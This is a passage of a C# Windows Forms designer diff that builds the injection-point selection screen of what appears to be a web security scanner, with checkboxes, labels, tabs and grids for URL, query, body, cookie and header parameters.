this.AllHeaderPointsAvlLbl.AutoSize = true; + this.AllHeaderPointsAvlLbl.Location = new System.Drawing.Point(632, 258); + this.AllHeaderPointsAvlLbl.Name = "AllHeaderPointsAvlLbl"; + this.AllHeaderPointsAvlLbl.Size = new System.Drawing.Size(13, 13); + this.AllHeaderPointsAvlLbl.TabIndex = 36; + this.AllHeaderPointsAvlLbl.Text = "0"; + // + // panel7 + // + this.panel7.BackColor = System.Drawing.Color.WhiteSmoke; + this.panel7.Controls.Add(this.ScanQueryCB); + this.panel7.Controls.Add(this.AllQueryPointsAvlLbl); + this.panel7.Controls.Add(this.AllQueryPointsSelectedLbl); + this.panel7.Location = new System.Drawing.Point(5, 122); + this.panel7.Name = "panel7"; + this.panel7.Size = new System.Drawing.Size(858, 30); + this.panel7.TabIndex = 42; + // + // ScanQueryCB + // + this.ScanQueryCB.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.ScanQueryCB.AutoSize = true; + this.ScanQueryCB.Location = new System.Drawing.Point(17, 7); + this.ScanQueryCB.Name = "ScanQueryCB"; + this.ScanQueryCB.Size = new System.Drawing.Size(124, 17); + this.ScanQueryCB.TabIndex = 15; + this.ScanQueryCB.Text = "All Query Parameters"; + this.ScanQueryCB.UseVisualStyleBackColor = true; + this.ScanQueryCB.Click += new System.EventHandler(this.ScanQueryCB_Click); + // + // AllQueryPointsAvlLbl + // + this.AllQueryPointsAvlLbl.AutoSize = true; + this.AllQueryPointsAvlLbl.Location = new System.Drawing.Point(627, 8); + this.AllQueryPointsAvlLbl.Name = "AllQueryPointsAvlLbl"; + this.AllQueryPointsAvlLbl.Size = new System.Drawing.Size(13, 13); + this.AllQueryPointsAvlLbl.TabIndex = 30; + this.AllQueryPointsAvlLbl.Text = "0"; + // + // AllQueryPointsSelectedLbl + // + this.AllQueryPointsSelectedLbl.AutoSize = true; + this.AllQueryPointsSelectedLbl.Location = new System.Drawing.Point(775, 8); + this.AllQueryPointsSelectedLbl.Name = "AllQueryPointsSelectedLbl"; + this.AllQueryPointsSelectedLbl.Size = new System.Drawing.Size(13, 13); + this.AllQueryPointsSelectedLbl.TabIndex = 31; + this.AllQueryPointsSelectedLbl.Text = "0"; + // + // AllHeaderPointsSelectedLbl + // + this.AllHeaderPointsSelectedLbl.AutoSize = true; + this.AllHeaderPointsSelectedLbl.Location = new System.Drawing.Point(780, 258); + this.AllHeaderPointsSelectedLbl.Name = "AllHeaderPointsSelectedLbl"; + this.AllHeaderPointsSelectedLbl.Size = new System.Drawing.Size(13, 13); + this.AllHeaderPointsSelectedLbl.TabIndex = 37; + this.AllHeaderPointsSelectedLbl.Text = "0"; + // + // panel6 + // + this.panel6.BackColor = System.Drawing.Color.LightSkyBlue; + this.panel6.Controls.Add(this.ScanAllCB); + this.panel6.Controls.Add(this.AllPointsAvlLbl); + this.panel6.Controls.Add(this.AllPointsSelectedLbl); + this.panel6.Location = new System.Drawing.Point(5, 35); + this.panel6.Name = "panel6"; + this.panel6.Size = new System.Drawing.Size(858, 30); + this.panel6.TabIndex = 42; + // + // ScanAllCB + // + this.ScanAllCB.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.ScanAllCB.AutoSize = true; + this.ScanAllCB.Location = new System.Drawing.Point(16, 7); + this.ScanAllCB.Name = "ScanAllCB"; + this.ScanAllCB.Size = new System.Drawing.Size(232, 17); + this.ScanAllCB.TabIndex = 13; + this.ScanAllCB.Text = "All Parameters in all sections of the Request"; + this.ScanAllCB.UseVisualStyleBackColor = true; + this.ScanAllCB.Click += new System.EventHandler(this.ScanAllCB_Click); + // + // AllPointsAvlLbl + // + this.AllPointsAvlLbl.AutoSize = true; + this.AllPointsAvlLbl.Location = new System.Drawing.Point(627, 8); + this.AllPointsAvlLbl.Name = "AllPointsAvlLbl"; + this.AllPointsAvlLbl.Size = new System.Drawing.Size(13, 13); + this.AllPointsAvlLbl.TabIndex = 26; + this.AllPointsAvlLbl.Text = "0"; + // + // AllPointsSelectedLbl + // + this.AllPointsSelectedLbl.AutoSize = true; + this.AllPointsSelectedLbl.Location = new System.Drawing.Point(775, 8); + this.AllPointsSelectedLbl.Name = "AllPointsSelectedLbl"; + this.AllPointsSelectedLbl.Size = new System.Drawing.Size(13, 13); + this.AllPointsSelectedLbl.TabIndex = 27; + this.AllPointsSelectedLbl.Text = "0"; + // + // panel4 + // + this.panel4.BackColor = System.Drawing.Color.WhiteSmoke; + this.panel4.Controls.Add(this.ScanCookieCB); + this.panel4.Controls.Add(this.AllCookiePointsAvlLbl); + this.panel4.Controls.Add(this.AllCookiePointsSelectedLbl); + this.panel4.Location = new System.Drawing.Point(5, 211); + this.panel4.Name = "panel4"; + this.panel4.Size = new System.Drawing.Size(858, 30); + this.panel4.TabIndex = 40; + // + // ScanCookieCB + // + this.ScanCookieCB.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.ScanCookieCB.AutoSize = true; + this.ScanCookieCB.Location = new System.Drawing.Point(17, 7); + this.ScanCookieCB.Name = "ScanCookieCB"; + this.ScanCookieCB.Size = new System.Drawing.Size(129, 17); + this.ScanCookieCB.TabIndex = 17; + this.ScanCookieCB.Text = "All Cookie Parameters"; + this.ScanCookieCB.UseVisualStyleBackColor = true; + this.ScanCookieCB.Click += new System.EventHandler(this.ScanCookieCB_Click); + // + // AllCookiePointsAvlLbl + // + this.AllCookiePointsAvlLbl.AutoSize = true; + this.AllCookiePointsAvlLbl.Location = new System.Drawing.Point(627, 8); + this.AllCookiePointsAvlLbl.Name = "AllCookiePointsAvlLbl"; + this.AllCookiePointsAvlLbl.Size = new System.Drawing.Size(13, 13); + this.AllCookiePointsAvlLbl.TabIndex = 34; + this.AllCookiePointsAvlLbl.Text = "0"; + // + // AllCookiePointsSelectedLbl + // + this.AllCookiePointsSelectedLbl.AutoSize = true; + this.AllCookiePointsSelectedLbl.Location = new System.Drawing.Point(775, 8); + this.AllCookiePointsSelectedLbl.Name = "AllCookiePointsSelectedLbl"; + this.AllCookiePointsSelectedLbl.Size = new System.Drawing.Size(13, 13); + this.AllCookiePointsSelectedLbl.TabIndex = 35; + this.AllCookiePointsSelectedLbl.Text = "0"; + // + // panel3 + // + this.panel3.BackColor = System.Drawing.Color.WhiteSmoke; + this.panel3.Controls.Add(this.AllNamesPointsAvlLbl); + this.panel3.Controls.Add(this.ScanParameterNamesCB); + this.panel3.Controls.Add(this.AllNamesPointsSelectedLbl); + this.panel3.Location = new System.Drawing.Point(5, 291); + this.panel3.Name = "panel3"; + this.panel3.Size = new System.Drawing.Size(858, 30); + this.panel3.TabIndex = 39; + // + // AllNamesPointsAvlLbl + // + this.AllNamesPointsAvlLbl.AutoSize = true; + this.AllNamesPointsAvlLbl.Location = new System.Drawing.Point(627, 8); + this.AllNamesPointsAvlLbl.Name = "AllNamesPointsAvlLbl"; + this.AllNamesPointsAvlLbl.Size = new System.Drawing.Size(13, 13); + this.AllNamesPointsAvlLbl.TabIndex = 38; + this.AllNamesPointsAvlLbl.Text = "4"; + // + // ScanParameterNamesCB + // + this.ScanParameterNamesCB.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.ScanParameterNamesCB.AutoSize = true; + this.ScanParameterNamesCB.Location = new System.Drawing.Point(17, 7); + this.ScanParameterNamesCB.Name = "ScanParameterNamesCB"; + this.ScanParameterNamesCB.Size = new System.Drawing.Size(366, 17); + this.ScanParameterNamesCB.TabIndex = 19; + this.ScanParameterNamesCB.Text = "Parameter Name property of Query, Body, Cookie and Headers Sections"; + this.ScanParameterNamesCB.UseVisualStyleBackColor = true; + this.ScanParameterNamesCB.Click += new System.EventHandler(this.ScanParameterNamesCB_Click); + // + // AllNamesPointsSelectedLbl + // + this.AllNamesPointsSelectedLbl.AutoSize = true; + this.AllNamesPointsSelectedLbl.Location = new System.Drawing.Point(775, 8); + this.AllNamesPointsSelectedLbl.Name = "AllNamesPointsSelectedLbl"; + this.AllNamesPointsSelectedLbl.Size = new System.Drawing.Size(13, 13); + this.AllNamesPointsSelectedLbl.TabIndex = 39; + this.AllNamesPointsSelectedLbl.Text = "0"; + // + // AllBodyPointsSelectedLbl + // + this.AllBodyPointsSelectedLbl.AutoSize = true; + this.AllBodyPointsSelectedLbl.Location = new System.Drawing.Point(780, 168); + this.AllBodyPointsSelectedLbl.Name = "AllBodyPointsSelectedLbl"; + this.AllBodyPointsSelectedLbl.Size = new System.Drawing.Size(13, 13); + this.AllBodyPointsSelectedLbl.TabIndex = 33; + this.AllBodyPointsSelectedLbl.Text = "0"; + // + // AllBodyPointsAvlLbl + // + this.AllBodyPointsAvlLbl.AutoSize = true; + this.AllBodyPointsAvlLbl.Location = new System.Drawing.Point(632, 168); + this.AllBodyPointsAvlLbl.Name = "AllBodyPointsAvlLbl"; + this.AllBodyPointsAvlLbl.Size = new System.Drawing.Size(13, 13); + this.AllBodyPointsAvlLbl.TabIndex = 32; + this.AllBodyPointsAvlLbl.Text = "0"; + // + // AllUrlPointsSelectedLbl + // + this.AllUrlPointsSelectedLbl.AutoSize = true; + this.AllUrlPointsSelectedLbl.Location = new System.Drawing.Point(780, 79); + this.AllUrlPointsSelectedLbl.Name = "AllUrlPointsSelectedLbl"; + this.AllUrlPointsSelectedLbl.Size = new System.Drawing.Size(13, 13); + this.AllUrlPointsSelectedLbl.TabIndex = 29; + this.AllUrlPointsSelectedLbl.Text = "0"; + // + // AllUrlPointsAvlLbl + // + this.AllUrlPointsAvlLbl.AutoSize = true; + this.AllUrlPointsAvlLbl.Location = new System.Drawing.Point(632, 79); + this.AllUrlPointsAvlLbl.Name = "AllUrlPointsAvlLbl"; + this.AllUrlPointsAvlLbl.Size = new System.Drawing.Size(13, 13); + this.AllUrlPointsAvlLbl.TabIndex = 28; + this.AllUrlPointsAvlLbl.Text = "0"; + // + // BodyInjectionMessageLbl + // + this.BodyInjectionMessageLbl.AutoSize = true; + this.BodyInjectionMessageLbl.ForeColor = System.Drawing.Color.DodgerBlue; + this.BodyInjectionMessageLbl.Location = new System.Drawing.Point(37, 186); + this.BodyInjectionMessageLbl.Name = "BodyInjectionMessageLbl"; + this.BodyInjectionMessageLbl.Size = new System.Drawing.Size(417, 13); + this.BodyInjectionMessageLbl.TabIndex = 25; + this.BodyInjectionMessageLbl.Text = "Body type has been discovered as XML and injection points were identified accordi" + + "ngly"; + // + // panel1 + // + this.panel1.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.panel1.BackColor = System.Drawing.Color.MistyRose; + this.panel1.Controls.Add(this.BlacklistItemsCountLbl); + this.panel1.Controls.Add(this.label19); + this.panel1.Controls.Add(this.UseBlackListCB); + this.panel1.Location = new System.Drawing.Point(3, 349); + this.panel1.Name = "panel1"; + this.panel1.Size = new System.Drawing.Size(857, 42); + this.panel1.TabIndex = 24; + // + // BlacklistItemsCountLbl + // + this.BlacklistItemsCountLbl.AutoSize = true; + this.BlacklistItemsCountLbl.Location = new System.Drawing.Point(819, 13); + this.BlacklistItemsCountLbl.Name = "BlacklistItemsCountLbl"; + this.BlacklistItemsCountLbl.Size = new System.Drawing.Size(13, 13); + this.BlacklistItemsCountLbl.TabIndex = 38; + this.BlacklistItemsCountLbl.Text = "0"; + // + // label19 + // + this.label19.AutoSize = true; + this.label19.Location = new System.Drawing.Point(677, 14); + this.label19.Name = "label19"; + this.label19.Size = new System.Drawing.Size(140, 13); + this.label19.TabIndex = 37; + this.label19.Text = "No. of items in the Blacklist: "; + // + // UseBlackListCB + // + this.UseBlackListCB.AutoSize = true; + this.UseBlackListCB.Location = new System.Drawing.Point(20, 12); + this.UseBlackListCB.Name = "UseBlackListCB"; + this.UseBlackListCB.Size = new System.Drawing.Size(379, 17); + this.UseBlackListCB.TabIndex = 12; + this.UseBlackListCB.Text = "Don\'t scan the parameters matching the names in the \'Parameters Blacklist\'"; + this.UseBlackListCB.UseVisualStyleBackColor = true; + this.UseBlackListCB.Click += new System.EventHandler(this.UseBlackListCB_Click); + // + // label5 + // + this.label5.AutoSize = true; + this.label5.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.label5.ForeColor = System.Drawing.Color.DodgerBlue; + this.label5.Location = new System.Drawing.Point(725, 6); + this.label5.Name = "label5"; + this.label5.Size = new System.Drawing.Size(133, 13); + this.label5.TabIndex = 23; + this.label5.Text = "No. of Points selected"; + // + // label3 + // + this.label3.AutoSize = true; + this.label3.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.label3.ForeColor = System.Drawing.Color.DodgerBlue; + this.label3.Location = new System.Drawing.Point(578, 6); + this.label3.Name = "label3"; + this.label3.Size = new System.Drawing.Size(136, 13); + this.label3.TabIndex = 22; + this.label3.Text = "No. of Points available"; + // + // label2 + // + this.label2.AutoSize = true; + this.label2.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.label2.ForeColor = System.Drawing.Color.DodgerBlue; + this.label2.Location = new System.Drawing.Point(92, 6); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(135, 13); + this.label2.TabIndex = 21; + this.label2.Text = "Select Injection Points"; + // + // UrlPathPartInjectionMessageLbl + // + this.UrlPathPartInjectionMessageLbl.AutoSize = true; + this.UrlPathPartInjectionMessageLbl.ForeColor = System.Drawing.Color.DodgerBlue; + this.UrlPathPartInjectionMessageLbl.Location = new System.Drawing.Point(37, 97); + this.UrlPathPartInjectionMessageLbl.Name = "UrlPathPartInjectionMessageLbl"; + this.UrlPathPartInjectionMessageLbl.Size = new System.Drawing.Size(309, 13); + this.UrlPathPartInjectionMessageLbl.TabIndex = 20; + this.UrlPathPartInjectionMessageLbl.Text = "Url has Querystring so path parts would require explicit selection."; + // + // ScanURLCB + // + this.ScanURLCB.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.ScanURLCB.AutoSize = true; + this.ScanURLCB.Location = new System.Drawing.Point(22, 78); + this.ScanURLCB.Name = "ScanURLCB"; + this.ScanURLCB.Size = new System.Drawing.Size(288, 17); + this.ScanURLCB.TabIndex = 14; + this.ScanURLCB.Text = "All URL path parts. Useful when site uses URL rewriting"; + this.ScanURLCB.UseVisualStyleBackColor = true; + this.ScanURLCB.Click += new System.EventHandler(this.ScanURLCB_Click); + // + // ScanBodyCB + // + this.ScanBodyCB.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.ScanBodyCB.AutoSize = true; + this.ScanBodyCB.Location = new System.Drawing.Point(22, 167); + this.ScanBodyCB.Name = "ScanBodyCB"; + this.ScanBodyCB.Size = new System.Drawing.Size(120, 17); + this.ScanBodyCB.TabIndex = 16; + this.ScanBodyCB.Text = "All Body Parameters"; + this.ScanBodyCB.UseVisualStyleBackColor = true; + this.ScanBodyCB.Click += new System.EventHandler(this.ScanBodyCB_Click); + // + // URLTab + // + this.URLTab.Controls.Add(this.ScanURLGrid); + this.URLTab.Location = new System.Drawing.Point(4, 22); + this.URLTab.Margin = new System.Windows.Forms.Padding(0); + this.URLTab.Name = "URLTab"; + this.URLTab.Size = new System.Drawing.Size(863, 394); + this.URLTab.TabIndex = 0; + this.URLTab.Text = "URL Path Parts"; + this.URLTab.UseVisualStyleBackColor = true; + // + // ScanURLGrid + // + this.ScanURLGrid.AllowUserToAddRows = false; + this.ScanURLGrid.AllowUserToDeleteRows = false; + this.ScanURLGrid.AllowUserToResizeRows = false; + this.ScanURLGrid.BackgroundColor = System.Drawing.Color.White; + this.ScanURLGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.ScanURLGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.ScanURLGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.ASRequestURLSelectColumn, + this.ASRequestURLPositionColumn, + this.ASRequestURLValueColumn}); + this.ScanURLGrid.Dock = System.Windows.Forms.DockStyle.Fill; + this.ScanURLGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; + this.ScanURLGrid.GridColor = System.Drawing.Color.White; + this.ScanURLGrid.Location = new System.Drawing.Point(0, 0); + this.ScanURLGrid.Margin = new System.Windows.Forms.Padding(0); + this.ScanURLGrid.MultiSelect = false; + this.ScanURLGrid.Name = "ScanURLGrid"; + this.ScanURLGrid.RowHeadersVisible = false; + this.ScanURLGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.ScanURLGrid.Size = new System.Drawing.Size(863, 394); + this.ScanURLGrid.TabIndex = 0; + this.ScanURLGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.ScanURLGrid_CellClick); + // + // ASRequestURLSelectColumn + // + this.ASRequestURLSelectColumn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.ASRequestURLSelectColumn.HeaderText = "INJECT"; + this.ASRequestURLSelectColumn.Name = "ASRequestURLSelectColumn"; + this.ASRequestURLSelectColumn.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.ASRequestURLSelectColumn.Width = 55; + // + // ASRequestURLPositionColumn + // + this.ASRequestURLPositionColumn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.ASRequestURLPositionColumn.HeaderText = "PARAMETER POSITION"; + this.ASRequestURLPositionColumn.Name = "ASRequestURLPositionColumn"; + this.ASRequestURLPositionColumn.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + // + // ASRequestURLValueColumn + // + this.ASRequestURLValueColumn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.ASRequestURLValueColumn.HeaderText = "PARAMETER VALUE"; + this.ASRequestURLValueColumn.Name = "ASRequestURLValueColumn"; + this.ASRequestURLValueColumn.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + // + // QueryTab + // + this.QueryTab.Controls.Add(this.ScanQueryGrid); + this.QueryTab.Location = new System.Drawing.Point(4, 22); + this.QueryTab.Margin = new System.Windows.Forms.Padding(0); + this.QueryTab.Name = "QueryTab"; + this.QueryTab.Size = new System.Drawing.Size(863, 394); + this.QueryTab.TabIndex = 1; + this.QueryTab.Text = "Query"; + this.QueryTab.UseVisualStyleBackColor = true; + // + // ScanQueryGrid + // + this.ScanQueryGrid.AllowUserToAddRows = false; + this.ScanQueryGrid.AllowUserToDeleteRows = false; + this.ScanQueryGrid.AllowUserToResizeRows = false; + this.ScanQueryGrid.BackgroundColor = System.Drawing.Color.White; + this.ScanQueryGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.ScanQueryGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.ScanQueryGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.ASRequestQuerySelectColumn, + this.ASRequestQueryNameColumn, + this.ASRequestQueryValueColumn}); + this.ScanQueryGrid.Dock = System.Windows.Forms.DockStyle.Fill; + this.ScanQueryGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; + this.ScanQueryGrid.GridColor = System.Drawing.Color.White; + this.ScanQueryGrid.Location = new System.Drawing.Point(0, 0); + this.ScanQueryGrid.Margin = new System.Windows.Forms.Padding(0); + this.ScanQueryGrid.Name = "ScanQueryGrid"; + this.ScanQueryGrid.RowHeadersVisible = false; + this.ScanQueryGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.ScanQueryGrid.Size = new System.Drawing.Size(863, 394); + this.ScanQueryGrid.TabIndex = 1; + this.ScanQueryGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.ScanQueryGrid_CellClick); + // + // ASRequestQuerySelectColumn + // + this.ASRequestQuerySelectColumn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.ASRequestQuerySelectColumn.HeaderText = "INJECT"; + this.ASRequestQuerySelectColumn.Name = "ASRequestQuerySelectColumn"; + this.ASRequestQuerySelectColumn.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.ASRequestQuerySelectColumn.Width = 55; + // + // ASRequestQueryNameColumn + // + this.ASRequestQueryNameColumn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.ASRequestQueryNameColumn.HeaderText = "PARAMETER NAME"; + this.ASRequestQueryNameColumn.Name = "ASRequestQueryNameColumn"; + this.ASRequestQueryNameColumn.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + // + // ASRequestQueryValueColumn + // + this.ASRequestQueryValueColumn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.ASRequestQueryValueColumn.HeaderText = "PARAMETER VALUE"; + this.ASRequestQueryValueColumn.Name = "ASRequestQueryValueColumn"; + this.ASRequestQueryValueColumn.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + // + // BodyTab + // + this.BodyTab.Controls.Add(this.BodyTypeCustomRB); + this.BodyTab.Controls.Add(this.BodyTypeFormatPluginRB); + this.BodyTab.Controls.Add(this.BodyTypeNormalRB); + this.BodyTab.Controls.Add(this.label35); + this.BodyTab.Controls.Add(this.BodyInjectTypeTabs); + this.BodyTab.Location = new System.Drawing.Point(4, 22); + this.BodyTab.Margin = new System.Windows.Forms.Padding(0); + this.BodyTab.Name = "BodyTab"; + this.BodyTab.Size = new System.Drawing.Size(863, 394); + this.BodyTab.TabIndex = 2; + this.BodyTab.Text = "Body"; + this.BodyTab.UseVisualStyleBackColor = true; + // + // BodyTypeCustomRB + // + this.BodyTypeCustomRB.AutoSize = true; + this.BodyTypeCustomRB.Location = new System.Drawing.Point(400, 5); + this.BodyTypeCustomRB.Name = "BodyTypeCustomRB"; + this.BodyTypeCustomRB.Size = new System.Drawing.Size(146, 17); + this.BodyTypeCustomRB.TabIndex = 5; + this.BodyTypeCustomRB.Text = "Custom/Unknown Format"; + this.BodyTypeCustomRB.UseVisualStyleBackColor = true; + this.BodyTypeCustomRB.CheckedChanged += new System.EventHandler(this.BodyTypeCustomRB_CheckedChanged); + // + // BodyTypeFormatPluginRB + // + this.BodyTypeFormatPluginRB.AutoSize = true; + this.BodyTypeFormatPluginRB.Location = new System.Drawing.Point(168, 5); + this.BodyTypeFormatPluginRB.Name = "BodyTypeFormatPluginRB"; + this.BodyTypeFormatPluginRB.Size = new System.Drawing.Size(221, 17); + this.BodyTypeFormatPluginRB.TabIndex = 4; + this.BodyTypeFormatPluginRB.Text = "Other Know Format (Eg: XML, JSON etc)"; + this.BodyTypeFormatPluginRB.UseVisualStyleBackColor = true; + this.BodyTypeFormatPluginRB.CheckedChanged += new System.EventHandler(this.BodyTypeFormatPluginRB_CheckedChanged); + // + // BodyTypeNormalRB + // + this.BodyTypeNormalRB.AutoSize = true; + this.BodyTypeNormalRB.Checked = true; + this.BodyTypeNormalRB.Location = new System.Drawing.Point(101, 5); + this.BodyTypeNormalRB.Name = "BodyTypeNormalRB"; + this.BodyTypeNormalRB.Size = new System.Drawing.Size(58, 17); + this.BodyTypeNormalRB.TabIndex = 3; + this.BodyTypeNormalRB.TabStop = true; + this.BodyTypeNormalRB.Text = "Normal"; + this.BodyTypeNormalRB.UseVisualStyleBackColor = true; + this.BodyTypeNormalRB.CheckedChanged += new System.EventHandler(this.BodyTypeNormalRB_CheckedChanged); + // + // label35 + // + this.label35.AutoSize = true; + this.label35.Location = new System.Drawing.Point(5, 7); + this.label35.Name = "label35"; + this.label35.Size = new System.Drawing.Size(94, 13); + this.label35.TabIndex = 2; + this.label35.Text = "Select Body Type:"; + // + // BodyInjectTypeTabs + // + this.BodyInjectTypeTabs.Alignment = System.Windows.Forms.TabAlignment.Bottom; + this.BodyInjectTypeTabs.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.BodyInjectTypeTabs.Controls.Add(this.BodyTypeNormalTab); + this.BodyInjectTypeTabs.Controls.Add(this.BodyTypeFormatPluginTab); + this.BodyInjectTypeTabs.Controls.Add(this.BodyTypeCustomTab); + this.BodyInjectTypeTabs.Location = new System.Drawing.Point(0, 24); + this.BodyInjectTypeTabs.Margin = new System.Windows.Forms.Padding(0); + this.BodyInjectTypeTabs.Multiline = true; + this.BodyInjectTypeTabs.Name = "BodyInjectTypeTabs"; + this.BodyInjectTypeTabs.Padding = new System.Drawing.Point(0, 0); + this.BodyInjectTypeTabs.SelectedIndex = 0; + this.BodyInjectTypeTabs.Size = new System.Drawing.Size(863, 370); + this.BodyInjectTypeTabs.TabIndex = 1; + this.BodyInjectTypeTabs.Selecting += new System.Windows.Forms.TabControlCancelEventHandler(this.BodyInjectTypeTabs_Selecting); + // + // BodyTypeNormalTab + // + this.BodyTypeNormalTab.Controls.Add(this.ScanBodyTypeNormalGrid); + this.BodyTypeNormalTab.Location = new System.Drawing.Point(4, 4); + this.BodyTypeNormalTab.Margin = new System.Windows.Forms.Padding(0); + this.BodyTypeNormalTab.Name = "BodyTypeNormalTab"; + this.BodyTypeNormalTab.Size = new System.Drawing.Size(855, 344); + this.BodyTypeNormalTab.TabIndex = 0; + this.BodyTypeNormalTab.Text = "Normal"; + this.BodyTypeNormalTab.UseVisualStyleBackColor = true; + // + // ScanBodyTypeNormalGrid + // + this.ScanBodyTypeNormalGrid.AllowUserToAddRows = false; + this.ScanBodyTypeNormalGrid.AllowUserToDeleteRows = false; + this.ScanBodyTypeNormalGrid.AllowUserToResizeRows = false; + this.ScanBodyTypeNormalGrid.BackgroundColor = System.Drawing.Color.White; + this.ScanBodyTypeNormalGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.ScanBodyTypeNormalGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.ScanBodyTypeNormalGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.dataGridViewCheckBoxColumn1, + this.dataGridViewTextBoxColumn15, + this.dataGridViewTextBoxColumn16}); + this.ScanBodyTypeNormalGrid.Dock = System.Windows.Forms.DockStyle.Fill; + this.ScanBodyTypeNormalGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; + this.ScanBodyTypeNormalGrid.GridColor = System.Drawing.Color.White; + this.ScanBodyTypeNormalGrid.Location = new System.Drawing.Point(0, 0); + this.ScanBodyTypeNormalGrid.Margin = new System.Windows.Forms.Padding(0); + this.ScanBodyTypeNormalGrid.Name = "ScanBodyTypeNormalGrid"; + this.ScanBodyTypeNormalGrid.RowHeadersVisible = false; + this.ScanBodyTypeNormalGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.ScanBodyTypeNormalGrid.Size = new System.Drawing.Size(855, 344); + this.ScanBodyTypeNormalGrid.TabIndex = 2; + this.ScanBodyTypeNormalGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.ScanBodyTypeNormalGrid_CellClick); + // + // dataGridViewCheckBoxColumn1 + // + this.dataGridViewCheckBoxColumn1.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.dataGridViewCheckBoxColumn1.HeaderText = "INJECT"; + this.dataGridViewCheckBoxColumn1.Name = "dataGridViewCheckBoxColumn1"; + this.dataGridViewCheckBoxColumn1.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.dataGridViewCheckBoxColumn1.Width = 55; + // + // dataGridViewTextBoxColumn15 + // + this.dataGridViewTextBoxColumn15.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.dataGridViewTextBoxColumn15.HeaderText = "PARAMETER NAME"; + this.dataGridViewTextBoxColumn15.Name = "dataGridViewTextBoxColumn15"; + this.dataGridViewTextBoxColumn15.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + // + // dataGridViewTextBoxColumn16 + // + this.dataGridViewTextBoxColumn16.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.dataGridViewTextBoxColumn16.HeaderText = "PARAMETER VALUE"; + this.dataGridViewTextBoxColumn16.Name = "dataGridViewTextBoxColumn16"; + this.dataGridViewTextBoxColumn16.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + // + // BodyTypeFormatPluginTab + // + this.BodyTypeFormatPluginTab.Controls.Add(this.ASRequestBodyTabSplit); + this.BodyTypeFormatPluginTab.Location = new System.Drawing.Point(4, 4); + this.BodyTypeFormatPluginTab.Margin = new System.Windows.Forms.Padding(0); + this.BodyTypeFormatPluginTab.Name = "BodyTypeFormatPluginTab"; + this.BodyTypeFormatPluginTab.Size = new System.Drawing.Size(855, 344); + this.BodyTypeFormatPluginTab.TabIndex = 1; + this.BodyTypeFormatPluginTab.Text = 